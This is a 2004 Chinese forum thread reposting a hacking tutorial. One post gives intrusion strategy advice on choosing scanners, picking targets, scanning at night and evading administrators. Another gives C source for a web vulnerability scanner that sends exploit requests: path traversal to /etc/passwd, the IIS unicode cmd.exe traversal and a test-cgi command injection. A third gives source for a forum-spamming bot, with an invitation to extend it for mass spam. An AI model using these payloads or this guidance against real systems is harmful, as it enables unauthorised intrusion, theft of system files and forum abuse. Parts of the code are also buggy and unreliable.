紧接着,你收集各种实际使用的工具,这些工具最有可能是一些扫描工具。你应该至少判断出目标网上的所有设备。基于你对操作系统的分析(和其他我曾在本章里提到过的各种软件),你需要对你的工具进行评估以判断有哪些漏洞和区域它们没有覆盖到。 只用一个工具而不用另一个工具就可覆盖某特定设备的情况下,最好还是同时使用这两个工具。这些工具的联合使用是否方便主要依赖于这些工具是否能简易地作为外部模块附加到一个扫描工具上,如SATAN或SAFESuite。在此测试变行极为有价值,因为在多数情况下。附加一个外部模块并让它正常地工作并不那么简单。为了得到这些工具工作的确切结果,最好先在某台机器上进行实验(这台机器甚至可和目标机不同)。这是因为。我们想知道是否会由于加上两个或多个单独设计的模块而使扫描工具的工作突然被中断或失败。记住实际的扫描攻击过程只能一气呵成,如果中间被打断,那你不会有第二次机会。于是,根据你想在目标机上得到的东西,你可挑选一些合适的工具。在某些情况下,这是一件轻松的事。例如,也许你已经知道在目标系统上的某人正通过网络运行着一些X窗口系统的应用软件。在此种情况下,如果你搜索Xhost的漏洞,一定能有所收获。 记住使用扫描工具是一种激烈的解决方案。它等于是在大白天拿着棍冲到某户人家,去试着撬所有的门和窗。只要此系统的管理员适度地涉猎过一些安全话题,那你的行为在他面前会暴露无疑。 七、形成一个攻击策略: 在Internet漫游过程中攻击这台或那台服务器的日子基本上已经过去。多年前,只要系统没有遭到破坏,突破系统安全的行为办被看用一种轻微的越界行为。如今,形势则大不相同。今天,数据的价值成为了谈论的焦点。因此作为现代入侵者,没有任何理由就实施入侵是很不明智的。反过来,只有制定了一个特定计划再开始进入入侵才是明智之举。 你的攻击策略主要依赖于你所想要完成的。我们假设你手边的任务基本上就是攻破某系统的安全措施。如果这是你的计划,那么你需要计划如何完成此次攻击。扫描时间花得越长(越多的机器被涉及在内),越有可能被发现;同时越多的扫描数据需要你筛选,而基于这些扫描数据进行的攻击需花费的时间越长。我曾经提过,扫描的攻击的时间越短越好。 因此一些事变行很明显(或理所应当)了,一旦通过收集到的数据你判断出网络的某部分和整个网络是通过路由器、交换机、桥或其他设备分隔的,那么你可能应该把它排除在被扫描的对象之外。毕竟攻破这些系统而获得的收益可能微乎其微。假定你获得此网段上的某系统的根权限,你想你能得到什么呢?你能轻松地穿过路由器、桥或交换机吗?恐怕不能!因此,Sniffing只能提供此网段上其他计算机的相关信息,欺骗方法也只能对此网段内的机器有效。因为你所想要的一个主系统上(或者是一个可用的最大网段)的根权限,所以对一个更小、更安全的网络进行扫描不可能获得很大的好处。 注意:当然,如果这些机器(无论是何种原因)碰巧是那些唯一不受保护的机器,那就应该采取一切可能的方法攻击它们(除非它们真的毫无价值)。例如,通常会把一个web服务器放在网络防火墙之外或使其成为唯一一台可从外面访问的机器。除非行为的目的是为了入侵此web服务器(并带给此web服务器的管理者一些有限的、公共的麻烦),否则不要去骚扰它。这些机器都是作为典型的牺牲物--那系统管理员已经估计到此机器会被远程攻击成功地攻陷,因此此计算机的硬盘上除了主页外几乎没有其他数据可用。 无论如何,一旦你确定了扫描的参数,就可以开始行动了。 八、关于扫描的时间: 关于这个问题,没有确切的答案。如果你真地想进行扫描,我想在目标机所处地区的深夜时间较好。当你完成扫描后,你便可以开始分析这些数据了。首先你应考虑通过此方法得到的信息是否可靠(可靠度,在某种程度上可通过在类似的环境中进行的扫描实验得。)然后再进行分析,由扫描获得的数据不同则分析过程也不同。在SATAN中的文档对此能给你极大地帮助。这些文档(一些关于漏洞的说明)是简短的,但直接而富有指导性。 如果得到了某个漏洞,你就应该重新参考那些通过搜索BUGTRAQ和其他可用资源而建立起来的数据库信息。主要的一点是,没有任何方法能使一个新手在一夜之间变成一位有经验的系统管理员或入侵者。这是残酷的事实。在你真正理解了攻击的本质和什么应从攻击中剔除之前,你可能要花上数个星期来研究源码、漏洞、某特定操作系统和其他信息。这些是不可逾越的。在攻击中经验是无法替代的,耐心也是无法替代的。如果你缺乏上述任何一个特点,那就忘记进攻吧。这是此处的重要一点。无论是像Kevin Mitnik(入侵者)这种人还是像Weitse Venema(黑客)这种人,他们几乎没有区别。他们的工作和成果一直是新闻杂志和网上论坛上谈论的焦点。他们是计算机安全领域内的著名人士(在某些情况下,甚至远远超过)。然而他们的成果(无论是好是坏)都来自于艰苦的工作、学习、天赋、思想、想象和自我专研。此因,防火墙无法挽救一个不能熟练使用它的系统管理员;同样,SATAN也无法帮助一个刚出道的入侵者攻破远程目标的保护。 九、小结: 远程攻击变得越来越普遍。玻正如在前几章中所讨论的,扫描工具的运用已被更多的普遍用户所掌握。类似的,可查询的安全漏洞索引的大量增加也极大地促进了人们识别可能的安全问题的能力。 一些人认为这些信息的自由共享是使Intenet处于差的安全状态的原因。其实这种想法是不对的。相反,系统管理员应该利用这些可用的公共信息。他们应该从技术的角度在他们自己的网络上执行信息中描述的过程。这既不费时又不费钱。 攻击特定操作系统的特定方法也超出了本书的范围,主要是因为要写的实在太多。进一步说,一个经过很好计划和可怕的远程攻击,并不是那些仓促行事的黑客做到的,只有那些对系统有着深刻了解的人才能办到。这些人很镇定并且对TCP/IP有着极深地了解(尽管了解的途径可能不怎么正式)。正是因为这个原因,入侵者们应对自己走上这条可怕的路而感到羞愧。人们想知道为什么这什么这些天才会走了这条路呢?
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

18#
0758河台小赵 发表于 2004-9-14 11:22:00
编写漏洞扫描器 一、漏洞扫描器基本原理: 编写漏洞扫描器探查远程服务器上可能存在的具有安全隐患的文件是否存在,它的socket建立过程和上面的端口扫描器是相同的,所不同的是漏洞扫描器通常使用80端口,然后对这个端口发送一个GET文件的请求,服务器接收到请求会返回文件内容,如果文件不存在则返回一个错误提示,通过接收返回内容可以判断文件是否存在。发送和接收数据需要使用函数send()和recv(),另外对流中存在的字符串进行判断需要使用函数strstr(),这除了需要具备socket函数库的知识以外,还需要一些有关string函数库的知识。 二、简单的漏洞扫描源代码: /********************/ /* 端口扫描器 源代码*/ /********************/ #include <stdio.h> #include <string.h> #include <winsock.h> int main(int argc,char *argv[]) { if(argc!=2){ printf("Useage : scan [IP address]\n"); return(1); } struct sockaddr_in blah; struct hostent *he; WSADATA wsaData; int i; WORD wVersionRequested; SOCKET sock; char buff[1024]; char *ex[10]; ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n"; ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n"; ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n"; ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n"; ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n"; ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n"; char *fmsg="HTTP/1.1 200 OK"; wVersionRequested = MAKEWORD( 1, 1 ); if (WSAStartup(wVersionRequested , &wsaData)){ printf("Winsock Initialization failed.\n"); exit(1); } if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){ printf("Can not create socket.\n"); exit(1); } sock = socket(AF_INET,SOCK_STREAM,0); blah.sin_family = AF_INET; blah.sin_port = htons(80); blah.sin_addr.s_addr= inet_addr(argv[1]); if ((he=gethostbyname(argv[1]))!=NULL){ memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length); } else{ if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){ WSACleanup(); exit(1); } } for (i=1 ; i<7; i++) { if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){ send(sock,ex,strlen(ex),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound :%s\n", ex); } } closesocket(sock); WSACleanup(); return(1); } } 这段代码可以检测六个漏洞,读者可以根据自己的需要增加漏洞扫描的数量。程序实现的很简洁,概括起来这段程序完成了一下四项工作: 1、连接目标主机SERVER; 2、向目标主机发送GET请求; 3、接收目标返回数据; 4、根据返回数据判断文件是否存在。
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

19#
0758河台小赵 发表于 2004-9-14 12:05:00
二、灌水机源代码: 利用POST制作灌水机必须要先了解论坛的CGI应该获得一个什么样的string,这要依靠sniffer或者直接使用cgi编写拦截string流的小程序,不过因为POST的格式非常简单,所以经过简单的推测就可以获得它的具体形式,例如对某个论坛我使用的灌水机源代码如下: /********************************************//* 灌水机 源代码 *//* PostForum.cpp *//********************************************/#include <stdio.h>#include <string.h>#include <winsock.h>main(int argc,char *argv[]){ char buff[4096]; SOCKET sock; SOCKADDR_IN addr; WSADATA wsa; WORD wVersionRequested; struct hostent *hs; int count, len; char *url="www.sample.com";if (argc!=4) {printf("Error!\n"); return -1; }len=(strlen(argv[1])+strlen(argv[2])+strlen(argv[3])+49); wVersionRequested = MAKEWORD( 2, 0 ); if (WSAStartup(wVersionRequested , &wsa)!=0){ printf("Winsock Initialization failed.\n"); return -1; } if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){ printf("Can not create socket.\n"); return -1; } addr.sin_family = AF_INET; addr.sin_port = htons(80); _snprintf(buff, 4096, "POST /cgi-bin/forum.cgi HTTP/1.1\r\n" "Host: %s\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n" "\r\n" "action=add&Title=%s&URL=http://%s&yuzi=1&Description=%s\r\n", url, len, argv[1], argv[2], argv[3]); if ((addr.sin_addr.s_addr=inet_addr(url))==-1){ if ((hs=gethostbyname(url))==NULL){ printf("Can not resolve specified host.\n"); return -1; } addr.sin_family = hs->h_addrtype; memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length); } if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){ printf("Can not connect to specified host.\n"); return -1; } send(sock,buff,strlen(buff),0); recv(sock,buff,sizeof(buff),0); closesocket(sock); } return 0;} 因为程序涉及攻击性,所以将原地址用www.sample.com替代,程序使用起来是这样的“postforum <标题> <作者主页> <文章正文>”,这样运行程序之后,在论坛内就会出现一条灌水内容,因为www.sample.com已经在源代码中进行了定义,所以这个灌水机只能够在一个论坛内进行操作,对程序进行修改可以得到更完善的灌水机,例如可以对不同的论坛进行灌水;设置循环操作对论坛进行批量灌水等,功能的实现方法设计有关编程操作,在这里不再给出源代码,请读者自行修改。 学会了上面的三个基本程序编写,读者便可以进而考虑ping、ftp、telnet等程序是如何完成的,ping和上面的程序一样比较容易,因为他们所涉及的都是TCP/IP的基本协议,很容易理解,其他的网络应用程序要依靠不同的协议,所以在编写程序之前应该先熟悉各种不同的协议。
回复 支持 反对

使用道具 举报

新浪微博达人勋

千家认证

20#
0758河台小赵 发表于 2004-9-14 12:08:00
做一些好事,做出一些维护网络安全的事情!
回复 支持 反对

使用道具 举报

12下一页
您需要登录后才可以回帖 登录 | 立即注册 新浪微博登陆 千家通行证登陆

本版积分规则

千家智客微信号
千家智客微信
玩物说商城
玩物说商城